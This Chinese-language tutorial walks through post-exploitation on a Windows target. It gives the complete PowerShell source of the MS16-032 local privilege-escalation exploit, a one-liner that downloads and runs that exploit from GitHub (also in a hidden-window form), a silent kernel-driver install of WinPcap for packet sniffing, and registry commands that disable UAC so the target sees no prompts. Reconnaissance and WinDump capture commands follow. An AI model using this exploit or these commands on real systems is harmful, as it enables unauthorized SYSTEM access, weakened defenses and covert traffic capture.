MS16-023提权 + 信息收集 + 静默WinPcap安装 + WinDump抓包

0x01 MS16-023提权

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c start cmd /k echo Hello, World!'"

从远程下载执行一个PowerShell脚本,并新开一个System权限的窗口。

(虚拟机调成2个CPU及以上,才能运行成功)

 

也可以自己修改PowerShell脚本,在最前两行修改命令。

powershell -nop -ep bypass -File MS16-023.ps1

#=================修改此处命令==================#

$Application = "cmd.exe"

$Commandline = "/c start cmd /k echo Hello, World!"

#===============================================#

    Add-Type -TypeDefinition @"

    using System;

    using System.Diagnostics;

    using System.Runtime.InteropServices;

    using System.Security.Principal;

 

    [StructLayout(LayoutKind.Sequential)]

    public struct PROCESS_INFORMATION

    {

        public IntPtr hProcess;

        public IntPtr hThread;

        public int dwProcessId;

        public int dwThreadId;

    }

 

    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]

    public struct STARTUPINFO

    {

        public Int32 cb;

        public string lpReserved;

        public string lpDesktop;

        public string lpTitle;

        public Int32 dwX;

        public Int32 dwY;

        public Int32 dwXSize;

        public Int32 dwYSize;

        public Int32 dwXCountChars;

        public Int32 dwYCountChars;

        public Int32 dwFillAttribute;

        public Int32 dwFlags;

        public Int16 wShowWindow;

        public Int16 cbReserved2;

        public IntPtr lpReserved2;

        public IntPtr hStdInput;

        public IntPtr hStdOutput;

        public IntPtr hStdError;

    }

 

    [StructLayout(LayoutKind.Sequential)]

    public struct SQOS

    {

        public int Length;

        public int ImpersonationLevel;

        public int ContextTrackingMode;

        public bool EffectiveOnly;

    }

 

    public static class Advapi32

    {

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]

        public static extern bool CreateProcessWithLogonW(

            String userName,

            String domain,

            String password,

            int logonFlags,

            String applicationName,

            String commandLine,

            int creationFlags,

            int environment,

            String currentDirectory,

            ref  STARTUPINFO startupInfo,

            out PROCESS_INFORMATION processInformation);

 

        [DllImport("advapi32.dll", SetLastError=true)]

        public static extern bool SetThreadToken(

            ref IntPtr Thread,

            IntPtr Token);

 

        [DllImport("advapi32.dll", SetLastError=true)]

        public static extern bool OpenThreadToken(

            IntPtr ThreadHandle,

            int DesiredAccess,

            bool OpenAsSelf,

            out IntPtr TokenHandle);

 

        [DllImport("advapi32.dll", SetLastError=true)]

        public static extern bool OpenProcessToken(

            IntPtr ProcessHandle,

            int DesiredAccess,

            ref IntPtr TokenHandle);

 

        [DllImport("advapi32.dll", SetLastError=true)]

        public extern static bool DuplicateToken(

            IntPtr ExistingTokenHandle,

            int SECURITY_IMPERSONATION_LEVEL,

            ref IntPtr DuplicateTokenHandle);

    }

 

    public static class Kernel32

    {

        [DllImport("kernel32.dll")]

        public static extern uint GetLastError();

 

        [DllImport("kernel32.dll", SetLastError=true)]

        public static extern IntPtr GetCurrentProcess();

 

        [DllImport("kernel32.dll", SetLastError=true)]

        public static extern IntPtr GetCurrentThread();

 

        [DllImport("kernel32.dll", SetLastError=true)]

        public static extern int GetThreadId(IntPtr hThread);

 

        [DllImport("kernel32.dll", SetLastError = true)]

        public static extern int GetProcessIdOfThread(IntPtr handle);

 

        [DllImport("kernel32.dll",SetLastError=true)]

        public static extern int SuspendThread(IntPtr hThread);

 

        [DllImport("kernel32.dll",SetLastError=true)]

        public static extern int ResumeThread(IntPtr hThread);

 

        [DllImport("kernel32.dll", SetLastError=true)]

        public static extern bool TerminateProcess(

            IntPtr hProcess,

            uint uExitCode);

 

        [DllImport("kernel32.dll", SetLastError=true)]

        public static extern bool CloseHandle(IntPtr hObject);

 

        [DllImport("kernel32.dll", SetLastError=true)]

        public static extern bool DuplicateHandle(

            IntPtr hSourceProcessHandle,

            IntPtr hSourceHandle,

            IntPtr hTargetProcessHandle,

            ref IntPtr lpTargetHandle,

            int dwDesiredAccess,

            bool bInheritHandle,

            int dwOptions);

    }

 

    public static class Ntdll

    {

        [DllImport("ntdll.dll", SetLastError=true)]

        public static extern int NtImpersonateThread(

            IntPtr ThreadHandle,

            IntPtr ThreadToImpersonate,

            ref SQOS SecurityQualityOfService);

    }

"@

    function Get-ThreadHandle {

        # StartupInfo Struct

        $StartupInfo = New-Object STARTUPINFO

        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES

            $StartupInfo.wShowWindow = 0;

        $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()

        $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()

        $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()

        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

 

        # ProcessInfo Struct

        $ProcessInfo = New-Object PROCESS_INFORMATION

 

        # CreateProcessWithLogonW --> lpCurrentDirectory

        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

 

        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED

        $CallResult = [Advapi32]::CreateProcessWithLogonW(

            "user", "domain", "pass",

            0x00000002, "C:\Windows\System32\notepad.exe", "",

            0x00000004, $null, $GetCurrentPath,

            [ref]$StartupInfo, [ref]$ProcessInfo)

 

        # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS

        $lpTargetHandle = [IntPtr]::Zero

        $CallResult = [Kernel32]::DuplicateHandle(

            $ProcessInfo.hProcess, 0x4,

            [Kernel32]::GetCurrentProcess(),

            [ref]$lpTargetHandle, 0, $false,

            0x00000002)

 

        # Clean up suspended process

        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)

        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)

        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

 

        $lpTargetHandle

    }

 

    function Get-SystemToken {

        echo "`n[?] Trying thread handle: $Thread"

        echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"

 

        $CallResult = [Kernel32]::SuspendThread($Thread)

        if ($CallResult -ne 0) {

            echo "[!] $Thread is a bad thread, moving on.."

            Return

        } echo "[+] Thread suspended"

 

        echo "[>] Wiping current impersonation token"

        $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)

        if (!$CallResult) {

            echo "[!] SetThreadToken failed, moving on.."

            $CallResult = [Kernel32]::ResumeThread($Thread)

            echo "[+] Thread resumed!"

            Return

        }

 

        echo "[>] Building SYSTEM impersonation token"

        # SecurityQualityOfService struct

        $SQOS = New-Object SQOS

        $SQOS.ImpersonationLevel = 2 #SecurityImpersonation

        $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)

        # Undocumented API's, I like your style Microsoft ;)

        $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)

        if ($CallResult -ne 0) {

            echo "[!] NtImpersonateThread failed, moving on.."

            $CallResult = [Kernel32]::ResumeThread($Thread)

            echo "[+] Thread resumed!"

            Return

        }

 

        $script:SysTokenHandle = [IntPtr]::Zero

        # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE

        $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)

        if (!$CallResult) {

            echo "[!] OpenThreadToken failed, moving on.."

            $CallResult = [Kernel32]::ResumeThread($Thread)

            echo "[+] Thread resumed!"

            Return

        }

 

        echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"

        echo "[+] Resuming thread.."

        $CallResult = [Kernel32]::ResumeThread($Thread)

    }

 

    # main() <--- ;)

    $ms16032 = @"

    __ __ ___ ___  ___    ___ ___ ___

    |  V  |  _|_  | |  _|___|  |_  |_  |

    |    |_  |_| |_| . |___| | |_  |  _|

    |_|_|_|___|_____|___|  |___|___|___|

 

                  [by b33f -> @FuzzySec]

"@

 

    $ms16032

 

    # Check logical processor count, race condition requires 2+

    echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"

    if ($([System.Environment]::ProcessorCount) -lt 2) {

        echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"

        Return

    }

 

    # Create array for Threads & TID's

    $ThreadArray = @()

    $TidArray = @()

 

    echo "[>] Duplicating CreateProcessWithLogonW handles.."

    # Loop Get-ThreadHandle and collect thread handles with a valid TID

    for ($i=0; $i -lt 500; $i++) {

        $hThread = Get-ThreadHandle

        $hThreadID = [Kernel32]::GetThreadId($hThread)

        # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray

        if ($TidArray -notcontains $hThreadID) {

            $TidArray += $hThreadID

            if ($hThread -ne 0) {

                $ThreadArray += $hThread # This is what we need!

            }

        }

    }

 

    if ($($ThreadArray.length) -eq 0) {

        echo "[!] No valid thread handles were captured, exiting!"

        Return

    } else {

        echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"

        echo "`n[?] Thread handle list:"

        $ThreadArray

    }

 

    echo "`n[*] Sniffing out privileged impersonation token.."

    foreach ($Thread in $ThreadArray){

 

        # Get handle to SYSTEM access token

        Get-SystemToken

 

        echo "`n[*] Sniffing out SYSTEM shell.."

        echo "`n[>] Duplicating SYSTEM token"

        $hDuplicateTokenHandle = [IntPtr]::Zero

        $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)

 

        # Simple PS runspace definition

        echo "[>] Starting token race"

        $Runspace = [runspacefactory]::CreateRunspace()

        $StartTokenRace = [powershell]::Create()

        $StartTokenRace.runspace = $Runspace

        $Runspace.Open()

        [void]$StartTokenRace.AddScript({

            Param ($Thread, $hDuplicateTokenHandle)

            while ($true) {

                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)

            }

        }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)

        $AscObj = $StartTokenRace.BeginInvoke()

 

        echo "[>] Starting process race"

        # Adding a timeout (10 seconds) here to safeguard from edge-cases

        $SafeGuard = [diagnostics.stopwatch]::StartNew()

        while ($SafeGuard.ElapsedMilliseconds -lt 10000) {

        # StartupInfo Struct

        $StartupInfo = New-Object STARTUPINFO

        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES

            $StartupInfo.wShowWindow = 0;

        # ProcessInfo Struct

        $ProcessInfo = New-Object PROCESS_INFORMATION

 

        # CreateProcessWithLogonW --> lpCurrentDirectory

        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

 

        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED

        $CallResult = [Advapi32]::CreateProcessWithLogonW(

            "user", "domain", "pass",

            0x00000002, $Application,$Commandline,

            0x00000004, $null, $GetCurrentPath,

            [ref]$StartupInfo, [ref]$ProcessInfo)

        #---

        # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.

        #---

        # Missing this check used to cause the exploit to fail sometimes.

        # If CreateProcessWithLogon fails OpenProcessToken won't succeed

        # but we obviously don't have a SYSTEM shell :'( . Should be 100%

        # reliable now!

        #---

        if (!$CallResult) {

            continue

        }           

        $hTokenHandle = [IntPtr]::Zero

        $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)

        # If we can't open the process token it's a SYSTEM shell!

        if (!$CallResult) {

            echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"

            $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)

            $StartTokenRace.Stop()

            $SafeGuard.Stop()

            Return

        }

 

        # Clean up suspended process

        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)

        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)

        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

        }

 

        # Kill runspace & stopwatch if edge-case

        $StartTokenRace.Stop()

        $SafeGuard.Stop()

    }

 

C++版的地址在:

https://www.exploit-db.com/exploits/39574

但总卡死在CreateProcessWithLogonW函数上,无法正常执行。

前3个参数user、domain、pass可以随便写 L"xxx"

LOGON_NETCREDENTIALS_ONLY, //第四个参数

第五、六个参数自定两个wchar_t 数组指针,装目标application名和cmd命令

CREATE_SUSPENDED,//第七个参数

NULL,//第八个参数

第九个参数是当前路径

第10、11个参数是两个结构体指针,需要在前边定义

 

同时还需要考虑对方机器上的vc++运行库版本。

wmic查看已安装程序

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product

 

隐藏提权过程窗口、成功后自动关闭旧cmd.exe的命令:

powershell -nop -ep bypass -windowstyle hidden -File MS16-032.ps1 & exit

powershell -nop -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c start cmd /k echo Hello, World!'" & exit

这样执行,会看到立马窗口消失,执行完命令也不会有进程停留。

 

 

0x02 静默安装WinPcap

使用WinDump抓包或者wireshark都需要安装WinPcap,希望它不需要点击即可安装。

我已用sandbox沙盒提取了它安装包释放的文件位置,在和目标相同环境的机子上安装后,提取文件即可:

1、释放dll和sys文件

 

MS16-023提权 + 信息收集 + 静默WinPcap安装 + WinDump抓包_第1张图片

结构

按照这样的结构,把文件放好到目标机中,主要是Windows目录下的东西,一样也不能少。

 

2、注册服务

如果就这样执行winDump,会提示分配空间不足的问题,需要注册服务

sc的格式很奇怪,只能等号后有空格,请完全按照此行复制。

sc create npf binPath= "System32\drivers\npf.sys" type= "kernel" start= "auto" error= "normal" tag= "no" DisplayName= "NetGroup Packet Filter Driver"

sc start npf

接下来就可以正常使用WinDump了。

 

 

0x03 关于用户以及关闭UAC

1、关于Administrator用户

administrator本来是空密码的,且未激活的,在控制面板中无法对这个用户修改,用runas也无法登录空密码用户。

如果一定要让这个用户出现,作为其他用户一样,可以在欢迎界面登录使用:

net user administrator /active:yes

可以为它修改密码后,再runas使用,但会在欢迎界面看到多出来这个账户

runas /user:administrator cmd

就是以administrator身份打开一个cmd窗口

 

2、UAC访问控制

防止让渗透目标弹窗,注意以下命令,需administrator或system权限,且重启后生效!

关闭UAC:

C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

开启UAC:

C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f

重启后生效!

重启后生效!

重启后生效!

3、抓包前的其他信息收集

tasklist /SVC /FO TABLE

用来列出进程对应的服务

 

tasklist /V /FO CSV >> C:\1.csv

把进程的详细信息导出到csv中,方便程序处理。

 

tasklist /V /FO list 

则比较方便观看。

 

netstat /r

显示网卡接口列表、路由表。

 

netstat /abno

进程、PID、内外地址端口、连接状态。

 

netstat -anp | grep sshd

Linux下的监测ssh连接情况命令

 

top -d 3

Linux下动态3秒一次刷新,监测资源

 

http://www.microsoft.com/en-us/download/details.aspx?id=4865

在自己的电脑可以安装微软的 Microsoft Network Monitor3.4

比wireshark强的功能是,可以方便的在左侧列出进程,进程下的几个网络会话,并查看数据。相当于能看到数据的性能管理器网络功能。

 

本机监控还可以用Process Hacker

看进程运行账户、进程父子关系、dll对磁盘的读写、进程加载的dll列表,都很方便。

 

 

0x04 C++调用api获取端口与进程的对应

可以根据端口找进程,也可以根据进程找端口,调用的是底层dll中的函数,直接加载入工程。

原理如下:

https://www.cnblogs.com/BoyXiao/archive/2012/02/20/2359273.html

以下是能直接编译通过的代码demo:

https://blog.csdn.net/change518/article/details/7473475

可以自己定制,实现持续记录netstat信息。

 

0x05 WinDump使用

整体而言,先写参数,所有参数写完,最后跟上过滤语句即可。

 

windump -D

大写的D,列出来当前网络接口

 

windump -i 2

选择第2个网络接口并进行监听

 

windump -i 2 -l

小写的L,可以实时看到每条数据表的收发端口、地址

 

windump -i 2 -v

实时输出数据包信息,和-l类似

但是希望更详细可以-vv -vvv

 

windump -i 2 -X

大写的X参数,输出每个包的详细Ascii / Hex 显示

 

windump -i 2 -X ip host 127.0.0.1

或者 ip src或者 ip dst用来过滤ip

写成192.168.1也可以过滤整个网段

 

windump -i 2 -X ip host 127.0.0.1 && port 80,443

限定端口,逗号隔开即可

 

windump -i 2 -c 5 -C 1

-c 5表示只接受5个包就停止

-C 1表示接受到1MB就停止

 

windump -i 2 -c 10 -s 2000 -w 1.pcap 

-s 2000表示 每个包读2000字节,实际一个包一般1400+

不设此参数,每个包都抓不全

-w 1.pcap就是保存的文件名

 

所以,最终:

WinDump.exe -i 3 -X -s 2000 -C 10 -c 1000 -w 1.pcap port 443

 

 

 

你可能感兴趣的:(MS16-023提权 + 信息收集 + 静默WinPcap安装 + WinDump抓包)